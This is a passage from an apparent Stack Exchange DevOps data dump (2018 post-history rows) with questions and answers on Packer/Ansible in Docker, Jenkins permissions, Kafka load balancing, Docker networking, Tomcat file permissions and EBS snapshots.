&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;setup_ansible.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;add_ansible_roles.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;ansible&quot;,&#xD;&#xA;    			&quot;playbook_file&quot;: &quot;./kubeadm.yml&quot;&#xD;&#xA;    		}&#xD;&#xA;       ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;add_ansible_roles.sh&#xD;&#xA;&#xD;&#xA;    sudo ansible-galaxy install djx339.k8s-kubeadm-master&#xD;&#xA;&#xD;&#xA;kubeadm.yml&#xD;&#xA;&#xD;&#xA;    - name: install kubeadm&#xD;&#xA;      hosts: localhost&#xD;&#xA;      roles:&#xD;&#xA;        - { role: djx339.k8s-kubeadm-install }&#xD;&#xA;&#xD;&#xA;Output from the playbook&#xD;&#xA;&#xD;&#xA;    docker: PLAY [install kubeadm] *********************************************************&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [Gathering Facts] *********************************************************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : include_tasks] ******************************&#xD;&#xA;    docker: included: /home/dw/.ansible/roles/djx339.k8s-kubeadm-install/tasks/setup-Debian.yml for localhost&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Sysctl] *************************************&#xD;&#xA;    docker: ok: [localhost] =&gt; (item={u'name': u'net.bridge.bridge-nf-call-iptables', u'value': 1})&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Add kuebeadm apt key] ***********************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Add kubeadm apt repo] ***********************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Install kubeadm] ****************************&#xD;&#xA;    docker: ok: [localhost] =&gt; (item=[u'kubelet', u'kubeadm', u'kubectl', u'kubernetes-cni'])&#xD;&#xA;    docker:&#xD;&#xA;    docker: PLAY RECAP *********************************************************************&#xD;&#xA;    docker: localhost                  : ok=6    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;Running `kubeadm` in the docker container throws an error.&#xD;&#xA;&#xD;&#xA;Why isn't the playbook applying? It works when I run it locally.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10703" PostHistoryTypeId="1" PostId="3418" RevisionGUID="7fcfda79-f69a-4fa1-87c5-7f69cccb92c0" CreationDate="2018-02-22T21:18:40.093" UserId="2494" Text="Packer - Ansible Remote provisioning not working in Docker container build" ContentLicense="CC BY-SA 3.0" />
  <row Id="10704" PostHistoryTypeId="3" PostId="3418" RevisionGUID="7fcfda79-f69a-4fa1-87c5-7f69cccb92c0" CreationDate="2018-02-22T21:18:40.093" UserId="2494" Text="&lt;docker&gt;&lt;ansible&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10705" PostHistoryTypeId="2" PostId="3419" RevisionGUID="a027dd0e-4432-4850-ac87-fd88ef08a3e7" CreationDate="2018-02-22T21:58:48.707" UserId="2494" Text="    &#xD;&#xA;I'm getting an error when running the `ansible-local` provisioner with a docker builder in Hashicorps Packer.&#xD;&#xA;&#xD;&#xA;My template (template.json):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;builders&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;docker&quot;,&#xD;&#xA;    			&quot;image&quot;: &quot;ubuntu&quot;,&#xD;&#xA;    			&quot;commit&quot;: &quot;true&quot;&#xD;&#xA;    		}&#xD;&#xA;    	],&#xD;&#xA;       &quot;provisioners&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;inline&quot;: [&quot;sudo apt-get update&quot;]&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;setup_ansible.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;ansible-local&quot;,&#xD;&#xA;    			&quot;playbook_file&quot;: &quot;./kubeadm.yml&quot;&#xD;&#xA;    		}&#xD;&#xA;       ]&#xD;&#xA;    }&#xD;&#xA;    docker: Executing Ansible: cd /tmp/packer-provisioner-ansible-local/5a8f3bad-8413-16c3-b255-6a06a9076ef3 &amp;&amp; ANSIBLE_FORCE_COLOR=1 PYTHONUNBUFFERED=1 ansible-playbook /tmp/packer-provisioner-ansible-local/5a8f3bad-8413-16c3-b255-6a06a9076ef3/kubeadm.yml --extra-vars \&quot;packer_build_name=docker packer_builder_type=docker packer_http_addr=\&quot;  -c local -i /tmp/packer-provisioner-ansible-local/5a8f3bad-8413-16c3-b255-6a06a9076ef3/packer-provisioner-ansible-local135505282&#xD;&#xA;    docker: ERROR! the playbook: packer_builder_type=docker could not be found&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10706" PostHistoryTypeId="1" PostId="3419" RevisionGUID="a027dd0e-4432-4850-ac87-fd88ef08a3e7" CreationDate="2018-02-22T21:58:48.707" UserId="2494" Text="Packer - Error when using 'ansible-local' provisioner with Docker container" ContentLicense="CC BY-SA 3.0" />
  <row Id="10707" PostHistoryTypeId="3" PostId="3419" RevisionGUID="a027dd0e-4432-4850-ac87-fd88ef08a3e7" CreationDate="2018-02-22T21:58:48.707" UserId="2494" Text="&lt;docker&gt;&lt;ansible&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10708" PostHistoryTypeId="2" PostId="3420" RevisionGUID="268c6cd4-0d8c-48cf-a7a1-a95c7b82afeb" CreationDate="2018-02-23T11:10:03.423" UserId="4613" Text="I am creating a Jenkins job.&#xD;&#xA;&#xD;&#xA;This will build some artifacts and will deploy to one of our environments, i.e. `qa`, `staging`, `production` etc. (I am using a choice parameter for this purpose)&#xD;&#xA;&#xD;&#xA;However we need to restrict access to environments to specific user, i.e. the `QA` team should only be able to deploy to the `qa` env and so on; hence, the choice parameter should display to each user, **only** the environments he/she can deploy to.&#xD;&#xA;&#xD;&#xA;Is this feasible in Jenkins?&#xD;&#xA;&#xD;&#xA;Is there any **other tool** that could someone use to create jobs that present a custom UI (hiding/revealing options/choices) to users based on permissions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10709" PostHistoryTypeId="1" PostId="3420" RevisionGUID="268c6cd4-0d8c-48cf-a7a1-a95c7b82afeb" CreationDate="2018-02-23T11:10:03.423" UserId="4613" Text="Personalize Jenkins job view per user" ContentLicense="CC BY-SA 3.0" />
  <row Id="10710" PostHistoryTypeId="3" PostId="3420" RevisionGUID="268c6cd4-0d8c-48cf-a7a1-a95c7b82afeb" CreationDate="2018-02-23T11:10:03.423" UserId="4613" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10711" PostHistoryTypeId="2" PostId="3421" RevisionGUID="99160a68-9015-40d3-9a4e-9e3df2c9b08b" CreationDate="2018-02-23T12:00:53.027" UserId="4175" Text="Is it possible to &quot;hide&quot; several brokers behind a single TCP/IP port? I.e., offer a single endpoint for Kafka clients, and having a scalable amount of brokers behind that?&#xD;&#xA;&#xD;&#xA;In my company, some people are configuring a (scaling) Kafka server for us, and they insist that this is not possible, and that we need to configure every single broker as a separate endpoint...&#xD;&#xA;&#xD;&#xA;This is in a OpenShift context; it would be nice to just be able to scale the Kafka pods up and down as needed, while using the usual loadbalancing to offer a single port to the outside world." ContentLicense="CC BY-SA 3.0" />
  <row Id="10712" PostHistoryTypeId="1" PostId="3421" RevisionGUID="99160a68-9015-40d3-9a4e-9e3df2c9b08b" CreationDate="2018-02-23T12:00:53.027" UserId="4175" Text="Multiple Kafka brokers behind a single openshift service?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10713" PostHistoryTypeId="3" PostId="3421" RevisionGUID="99160a68-9015-40d3-9a4e-9e3df2c9b08b" CreationDate="2018-02-23T12:00:53.027" UserId="4175" Text="&lt;openshift&gt;&lt;kafka&gt;&lt;loadbalancing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10714" PostHistoryTypeId="2" PostId="3422" RevisionGUID="3996457d-3e67-4695-9799-1a032938d819" CreationDate="2018-02-23T13:21:45.543" UserId="6643" Text="It depends on what you want to archive. If your container is intended to be accessed from outside, you need port mapping: `-p $HOSTPORT:$CONTAINERPORT` So you can use `-p 80:80` as an argument for `docker run` to expose port 80. &#xD;&#xA;&#xD;&#xA;If this is not the case (e.g. backend server that is accessed by a reverse proxy) you could simply use `docker exec` to execute your `curl` command in the container. This also has the advantage that no external IP is needed, simply use `localhost`. It's also an better option to expose port 22 for ssh.&#xD;&#xA;&#xD;&#xA;    docker exec -it $CONTAINERNAME bash&#xD;&#xA;where `bash` can be replaced by any login shell for interactive mode. You can also directly pass a command here like this: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker exec -it $CONTAINERNAME curl http://localhost&#xD;&#xA;&#xD;&#xA;The `execute` command has the benefit that it can be used in already running containers. So for example you could check if a service in the container is gone after a period of time. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10715" PostHistoryTypeId="2" PostId="3423" RevisionGUID="75ed84af-6321-45d4-977b-a484a65ba169" CreationDate="2018-02-23T13:33:23.080" UserId="6643" Text="Have a look at the [Role Strategy Plugin](https://wiki.jenkins.io/display/JENKINS/Role+Strategy+Plugin). It allows you to assign roles per project or node, so you can cofigure detailled permission as required. &#xD;&#xA;&#xD;&#xA;There are other CI tools with extended permission-management as well, but I see no need for them: Jenkins is a open source, stable CI system which works well on all important platforms and became a de facto standard. It has many plugins to archive nearly anything. Even rarely common use-case can be archived by writing custom plugins/batch scripts. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10716" PostHistoryTypeId="5" PostId="3417" RevisionGUID="4e18bf3e-e71b-4573-9d97-566d8f9e54e1" CreationDate="2018-02-23T14:11:28.440" UserId="2845" Comment="deleted 447 characters in body" Text="You can do this a couple of ways, but I have never seen anyone do this with a CNAME. &#xD;&#xA;&#xD;&#xA;One option, if you have control over your IP addressing is to use [BGP to fail-over](https://www.techrepublic.com/article/how-to-use-bgp-to-achieve-internet-redundancy/) (or load balance) an IP to your cloud hosting providers.&#xD;&#xA;&#xD;&#xA;A second option is to invest in a DNS-based geographic load balancing solution, such as the [GTM from F5](https://support.f5.com/kb/en-us/products/big-ip_gtm/manuals/product/gtm-concepts-11-3-0/1.html), the [GSLB solution from A10](https://www.a10networks.com/resources/glossary/global-server-load-balancing-gslb), or the [GSLB solution from Kemp](https://kemptechnologies.com/global-server-load-balancing-gslb/) (F5 is the most commonly used in the industry). With these solutions you will set your name server (NS1 and NS2) for your domain to be the GSLB solution of your choice. You will set a very low TTL for your DNS records and configure health monitors to your ELK stack from the GSLB solution. These can be as complex as logging into ELK and scraping for data or as simple as making sure you can establish a TCP connection and/or ping your server. When this health monitor fails, the GSLB solution will failover traffic to the alternate data center automagically. You will be able to do this as an HA pair with one GSLB solution at once DC as NS1 and the other at your secondary site as NS2. The GSLB will then forward lookup to your previous nameservers which will publish IP addresses for both sites. These will be rewritten to eliminate the IP that the GSLB does not want to direct traffic to at the time (again, this can be used for active-active sites - you can even use geolocation to send users in Europe to a Eurpoean cloud provider  and US based users to a US based provider, or do a simple active/standby)&#xD;&#xA;&#xD;&#xA;A final way to do this might be with local load balancing solution, such as [F5's LTM](https://f5.com/products/big-ip/local-traffic-manager-ltm), [A10's SLB](https://www.a10networks.com/products/thunder-series/thunder-application_delivery_controller), or [Kemp's solution](https://kemptechnologies.com/). You may also be able to use [nginx](https://www.nginx.com/resources/admin-guide/reverse-proxy/) for this for a cheap solution. In this scenario, you might have this solution onsite in an office with the URL to the load balancer served up by your local DNS server to a local IP (a Virtual IP) on your load balancer. You would then configure the load balance to direct users to the desired cloud provider by configuring a health monitor (of whatever complexity). You would then need to configure this load balancer to bridge your SSL connection. You would add your certificate and private key to the load balancing solution. Users would establish an encrypted connection to the load balancer. This encryption would be stripped off by the load balancer and a new encrypted connection established to the cloud provider by the load balancer, and the data forwarded along over the new SSL tunnel." ContentLicense="CC BY-SA 3.0" />
  <row Id="10717" PostHistoryTypeId="5" PostId="3381" RevisionGUID="e234d787-f338-4c84-9333-7e238fefb07d" CreationDate="2018-02-23T15:23:46.503" UserId="6578" Comment="added 43 characters in body" Text="I would agree with previous statements: avoid baking users into your base image with Packer. Likewise, you should avoid baking them with `Terraform` as well. Terraform does not provide a mechanism to perform _on-going_ changes after the server is provisioned. It only has those _initial_ provisioning scripts that get run only one time. If you manage users with Terraform provisioning scripts, those users will never get updated again by Terraform. You might as well be baking these changes into Packer at that point.&#xD;&#xA;&#xD;&#xA;I would honestly suggest you venture outside the Hashicorp ecosystem for this task. For _on-going_ changes of machines, this is exactly what a configuration management system is designed for. Something like Anisble, Chef, Puppet, or Salt, _real_ configuration management tools, are best suited for this job.&#xD;&#xA;&#xD;&#xA;Packer lets you set a base image to be used by many machines. Terraform maintains the state of your architecture as code. However, what happens when you on-board or off-board new users? Or you need to change their individual SSH keys because they lost their computer? This should not be a code change. Nor would you want something like User secrets stored as code in your Terraform provisioning script.&#xD;&#xA;&#xD;&#xA;At my company the stack is: Packer images, Terraform bootstrapping, and Chef management. They work well together. I'll admit, I love putting more things into Packer and Teraform as it makes spin up times quicker. But a good CM tool still has its place in the DevOps world." ContentLicense="CC BY-SA 3.0" />
  <row Id="10718" PostHistoryTypeId="5" PostId="3423" RevisionGUID="d95e530a-224c-4be9-9d34-4fa362717002" CreationDate="2018-02-23T15:26:54.173" UserId="47" Comment="improved readability" Text="Have a look at the [Role Strategy Plugin](https://wiki.jenkins.io/display/JENKINS/Role+Strategy+Plugin). It allows you to assign roles per project or node, so you can configure detailed permission as required. &#xD;&#xA;&#xD;&#xA;There are other CI tools with extended permission-management as well, but I see no need for them: Jenkins is an open source, stable CI system which works well on all important platforms and became a de facto standard. It has many plugins to archive nearly anything. Even rare use-cases can be handled by writing custom plugins/batch scripts. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10719" PostHistoryTypeId="5" PostId="3383" RevisionGUID="ea94ccf6-e9ba-4c84-8011-de2b080b3e69" CreationDate="2018-02-23T15:27:27.460" UserId="6578" Comment="deleted 1 character in body" Text="&gt; Trying to connect from outside fails&#xD;&#xA;&#xD;&#xA;Are you actually connecting from _outside_? Flask is binding to localhost (127.0.0.1) and that will only be reachable from within the container. If you're on your local machine, you'll need flask to bind to all IP's:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    from flask import Flask&#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;    &#xD;&#xA;    @app.route('/')&#xD;&#xA;    def hello():&#xD;&#xA;        return &quot;Hello World!&quot;&#xD;&#xA;    &#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        app.run(host='0.0.0.0')&#xD;&#xA;&#xD;&#xA;That works for me successfully." ContentLicense="CC BY-SA 3.0" />
  <row Id="10720" PostHistoryTypeId="2" PostId="3424" RevisionGUID="55b3a5ca-22dd-42d2-a36d-86ad43c253d9" CreationDate="2018-02-23T15:33:39.750" UserId="736" Text="If you can't find a plugin to do what you want, there is a more manual solution.&#xD;&#xA;&#xD;&#xA;Create multiple upstream jobs that control the parameters and pass them to the downstream deploy job. Then you can restrict each group to only see the relevant upstream job. &#xD;&#xA;&#xD;&#xA;It will result in semi-duplicate upstream jobs, but will guarantee appropriate separation." ContentLicense="CC BY-SA 3.0" />
  <row Id="10721" PostHistoryTypeId="2" PostId="3425" RevisionGUID="0d1567f2-fdd1-4737-89fb-db18b60d8816" CreationDate="2018-02-23T15:50:04.320" UserId="6578" Text="Yes, you can. `HAProxy` is purpose built to balance _any_ TCP or HTTP connection. My old company used to run every component of Kafka with HAproxy.&#xD;&#xA;&#xD;&#xA;Here is a whole project dedicated to running auto-scaling Kafka in Docker using HAproxy: https://github.com/pozgo/docker-kafka&#xD;&#xA;&#xD;&#xA;You can even see their HAproxy config here where they specify the broker check (port 9092): https://github.com/pozgo/docker-kafka/blob/master/haproxy.cfg" ContentLicense="CC BY-SA 3.0" />
  <row Id="10722" PostHistoryTypeId="5" PostId="3421" RevisionGUID="2b59df0a-1f88-4378-b693-a777e4eb7dfd" CreationDate="2018-02-23T16:47:11.217" UserId="4175" Comment="added 646 characters in body" Text="Is it possible to have several brokers behind a single TCP/IP port? I.e., offer a single endpoint for Kafka clients, and having a scalable amount of brokers behind that?&#xD;&#xA;&#xD;&#xA;In my company, some people are configuring a (scaling) Kafka server for us, and they insist that this is not possible, and that we need to configure every single broker as a separate endpoint...&#xD;&#xA;&#xD;&#xA;This is in a OpenShift context; it would be nice to just be able to scale the Kafka pods up and down as needed, while using the usual loadbalancing to offer a single port to the outside world.&#xD;&#xA;&#xD;&#xA;EDIT: I am familiar with HAProxy; the question is about Kafka, not OpenShift/HAProxy. Is there anything special to be configured (in the Kafka broker image) so they are all synchronized amongst each other? Are there examples for that somewhere? Googling for &quot;openshift kafka&quot; etc. brings up plenty of examples, but all that I found seem to have a different service for each kafka broker (i.e., explicitely running 3 separate Kafka deployments inside Openshift, with separate OpenShift services, one each). This is what I wish to avoid. I want to horizontally scale the number of Kafka processes behind HAProxy, and have one single external IP. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10723" PostHistoryTypeId="2" PostId="3426" RevisionGUID="bf65126c-ab1d-4320-9de8-890082fea95b" CreationDate="2018-02-23T19:12:10.343" UserId="6649" Text="I have been getting some unexpected failures with the execution of my Docker images when running on my Ubuntu 16.04.3 LTS machine. I'm using Docker version 18.02.0-ce (edge), installed from apt. I've narrowed down the problem enough to demonstrate it with this Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM tomcat:8.5.24-jre8-alpine&#xD;&#xA;&#xD;&#xA;    RUN adduser -D test&#xD;&#xA;&#xD;&#xA;    RUN chown -R test &quot;$CATALINA_HOME&quot;&#xD;&#xA;&#xD;&#xA;    USER test&#xD;&#xA;&#xD;&#xA;    RUN ls &quot;$CATALINA_HOME&quot;/webapps&#xD;&#xA;&#xD;&#xA;When I attempt to build this, here's the result:&#xD;&#xA;&#xD;&#xA;    $ docker build -t test test/&#xD;&#xA;    Sending build context to Docker daemon  163.4MB&#xD;&#xA;    Step 1/5 : FROM tomcat:8.5.24-jre8-alpine&#xD;&#xA;     ---&gt; 134d23a9a14e&#xD;&#xA;    Step 2/5 : RUN adduser -D test&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; a6f70ba83b8d&#xD;&#xA;    Step 3/5 : RUN chown -R test &quot;$CATALINA_HOME&quot;&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 8a0fae3db0a8&#xD;&#xA;    Step 4/5 : USER test&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 45fdf333232b&#xD;&#xA;    Step 5/5 : RUN ls &quot;$CATALINA_HOME&quot;/webapps&#xD;&#xA;     ---&gt; Running in 48711dfb9569&#xD;&#xA;    ls: /usr/local/tomcat/webapps/ROOT: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/examples: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/docs: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/host-manager: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/manager: Permission denied&#xD;&#xA;    The command '/bin/sh -c ls &quot;$CATALINA_HOME&quot;/webapps' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;These &quot;Permission denied&quot; errors are very strange to me, since the `chown` command should have given ownership of the whole /usr/local/tomcat folder, including the subfolders.&#xD;&#xA;&#xD;&#xA;I have tried this same scenario with many different versions of Docker on my Ubuntu host, all with the same result. However, when I tried building this image on my Mac OS machine, it worked fine.&#xD;&#xA;&#xD;&#xA;One slight variation that I have found which works around the problem is to give the &quot;test&quot; user access to the &quot;root&quot; group, like so:&#xD;&#xA;&#xD;&#xA;    RUN adduser -D test -G root&#xD;&#xA;&#xD;&#xA;With this simple change, the Dockerfile builds. So it seems obvious to me that somehow group membership permissions are involved, but I can't imagine why that would matter since the user is the owner. Also I can't imagine why building on Linux is different than building on Mac OS." ContentLicense="CC BY-SA 3.0" />
  <row Id="10724" PostHistoryTypeId="1" PostId="3426" RevisionGUID="bf65126c-ab1d-4320-9de8-890082fea95b" CreationDate="2018-02-23T19:12:10.343" UserId="6649" Text="Permission errors with non-root USER when running on Linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="10725" PostHistoryTypeId="3" PostId="3426" RevisionGUID="bf65126c-ab1d-4320-9de8-890082fea95b" CreationDate="2018-02-23T19:12:10.343" UserId="6649" Text="&lt;docker&gt;&lt;linux&gt;&lt;permissions&gt;&lt;user-namespaces&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10726" PostHistoryTypeId="2" PostId="3427" RevisionGUID="f79a8e6f-43c3-4b80-8bf9-cd66c7e48872" CreationDate="2018-02-23T20:11:41.447" UserId="6651" Text="From code repository to any environment, as a running software would be &quot;Time to Deploy&quot; ( which is different from deployment time, btw ).&#xD;&#xA;&#xD;&#xA;From code repository all the way to production environment, the best aproximation is time to market (*TTM*), taking aside that time to market does involve the conceptual design of a product.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But as you said you are tagging an pipeline, I should advise:&#xD;&#xA;&#xD;&#xA;**Use the tags that makes sense: to you, your team and to your product.** &#xD;&#xA;&#xD;&#xA;A common pipeline could be : BUILD &gt; TEST &gt; DEPLOY &#xD;&#xA;&#xD;&#xA;But we could tag the same pipeline, making more steps visible, ie :&#xD;&#xA;SOURCE CHECKOUT &gt; CODE CHECK &gt; UNITARY TESTS &gt; BUILD &gt; INTEGRATED TESTS &gt; DEPLOY &gt; ACCEPTANCE TESTS&#xD;&#xA;&#xD;&#xA;As a rule, if you have trouble on one step and must check the output to understand whats going on, this step could be divided in one or more tags.&#xD;&#xA;&#xD;&#xA;If makes sense to you, you could even tag something like SOURCE CHECKOUT IDLE TIME ( the time took for the build machine to connect to the repository server, before downloading the source )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this could be useful, happy tagging!" ContentLicense="CC BY-SA 3.0" />
  <row Id="10727" PostHistoryTypeId="2" PostId="3428" RevisionGUID="f32ee8ca-719d-4ec8-bd66-d4b9026c441e" CreationDate="2018-02-23T21:42:39.473" UserId="3" Text="I've created a snapshot of EC2 instance via:&#xD;&#xA;&#xD;&#xA;    aws ec2 create-snapshot --volume-id vol-xyz&#xD;&#xA;&#xD;&#xA;In `aws ec2 create-snapshot help` we can read:&#xD;&#xA;&#xD;&#xA;&gt; Creates a snapshot of an EBS volume and stores it in Amazon S3.&#xD;&#xA;&#xD;&#xA;Although I cannot see in which bucket it has been imported.&#xD;&#xA;&#xD;&#xA;In addition, there is a command `aws ec2 import-snapshot` which imports a disk from the S3 bucket.&#xD;&#xA;&#xD;&#xA;So basically I'm looking for some way of exporting EC2 snapshot into S3 bucket where I can see the image file in order to download it.&#xD;&#xA;&#xD;&#xA;How I can do it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10728" PostHistoryTypeId="1" PostId="3428" RevisionGUID="f32ee8ca-719d-4ec8-bd66-d4b9026c441e" CreationDate="2018-02-23T21:42:39.473" UserId="3" Text="How to export EC2 snapshot into S3 bucket?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10729" PostHistoryTypeId="3" PostId="3428" RevisionGUID="f32ee8ca-719d-4ec8-bd66-d4b9026c441e" CreationDate="2018-02-23T21:42:39.473" UserId="3" Text="&lt;amazon-ec2&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10730" PostHistoryTypeId="2" PostId="3429" RevisionGUID="7579c10b-155f-406c-9554-f02fd4c239ee" CreationDate="2018-02-23T23:47:53.420" UserId="405" Text="[EBS Snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) aren't really disk image files.  They're logical containers of pointers to chunks of compressed and deduplicated backup data that EBS stores in S3 when you create snapshots -- but these are stored in buckets that EBS owns and controls.&#xD;&#xA;&#xD;&#xA;They are user-accessible via only one mechanism -- creating a new EBS volume from the snapshot.  When you do this, the new volume is linked back to its source snapshot and EBS starts loading the data onto the new volume in the background, from the snapshot storage in S3.  If you access a part of the volume that EBS hasn't yet restored, it immediately goes and fetches the chunks and puts them on the volume.&#xD;&#xA;&#xD;&#xA;To create a disk image file of a snapshot, you create a new volume from the snapshot, attach it to a running instance without mounting it, and then use the same tools you would use for a standard hard drive -- tools like `dd` to read raw blocks from the snapshot, and write them to a file, which you can then download from the instance, e.g. using `scp`." ContentLicense="CC BY-SA 3.0" />
  <row Id="10732" PostHistoryTypeId="5" PostId="3375" RevisionGUID="e94cfb18-4310-4a70-9851-956745e718a9" CreationDate="2018-02-24T13:15:56.113" UserId="3" Comment="added 4 characters in body; edited tags" Text="How to get the latest version of firefox? [This URL][1] was found, but is there no API?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mozilla.org/en-US/firefox/releases/&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;At the moment I am considering to parse https://www.mozilla.org/en-US/firefox/releases/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10733" PostHistoryTypeId="6" PostId="3375" RevisionGUID="e94cfb18-4310-4a70-9851-956745e718a9" CreationDate="2018-02-24T13:15:56.113" UserId="3" Comment="added 4 characters in body; edited tags" Text="&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10734" PostHistoryTypeId="4" PostId="3419" RevisionGUID="4b4b67a9-9aa1-456a-90b1-e85d088b3266" CreationDate="2018-02-24T13:18:17.810" UserId="3" Comment="Removes tag from the title." Text="Error when using 'ansible-local' provisioner with Docker container" ContentLicense="CC BY-SA 3.0" />
  <row Id="10735" PostHistoryTypeId="5" PostId="3419" RevisionGUID="4b4b67a9-9aa1-456a-90b1-e85d088b3266" CreationDate="2018-02-24T13:18:17.810" UserId="3" Comment="Removes tag from the title." Text="I'm getting an error when running the `ansible-local` provisioner with a docker builder in Hashicorps Packer.&#xD;&#xA;&#xD;&#xA;My template (template.json):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;builders&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;docker&quot;,&#xD;&#xA;    			&quot;image&quot;: &quot;ubuntu&quot;,&#xD;&#xA;    			&quot;commit&quot;: &quot;true&quot;&#xD;&#xA;    		}&#xD;&#xA;    	],&#xD;&#xA;       &quot;provisioners&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;inline&quot;: [&quot;sudo apt-get update&quot;]&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;setup_ansible.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;ansible-local&quot;,&#xD;&#xA;    			&quot;playbook_file&quot;: &quot;./kubeadm.yml&quot;&#xD;&#xA;    		}&#xD;&#xA;       ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The error:&#xD;&#xA;&#xD;&#xA;    docker: Executing Ansible: cd /tmp/packer-provisioner-ansible-local/5a8f3bad-8413-16c3-b255-6a06a9076ef3 &amp;&amp; ANSIBLE_FORCE_COLOR=1 PYTHONUNBUFFERED=1 ansible-playbook /tmp/packer-provisioner-ansible-local/5a8f3bad-8413-16c3-b255-6a06a9076ef3/kubeadm.yml --extra-vars \&quot;packer_build_name=docker packer_builder_type=docker packer_http_addr=\&quot;  -c local -i /tmp/packer-provisioner-ansible-local/5a8f3bad-8413-16c3-b255-6a06a9076ef3/packer-provisioner-ansible-local135505282&#xD;&#xA;    docker: ERROR! the playbook: packer_builder_type=docker could not be found&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10736" PostHistoryTypeId="5" PostId="3413" RevisionGUID="2dcdf0df-b8cb-460c-92c0-4eec8db5e43c" CreationDate="2018-02-24T13:20:58.397" UserId="3" Comment="Improves post link." Text="I'm using simple docker-compose container images. Here's my `docker-compose.yml`&#xD;&#xA;&#xD;&#xA;        version: '2'&#xD;&#xA;&#xD;&#xA;        services:&#xD;&#xA;          db:&#xD;&#xA;            image: postgres:10.2&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;5432:5432&quot;&#xD;&#xA;            environment:&#xD;&#xA;              ... skipped for brevity&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./server:/docker-entrypoint-initdb.d&quot;&#xD;&#xA;&#xD;&#xA;          postgrest:&#xD;&#xA;            image: postgrest/postgrest&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3000:3000&quot;&#xD;&#xA;            environment:&#xD;&#xA;             ... skipped for brevity&#xD;&#xA;&#xD;&#xA;          webapp:&#xD;&#xA;            image: node:8.9&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3001:3001&quot;&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./client:/client&quot;&#xD;&#xA;              - 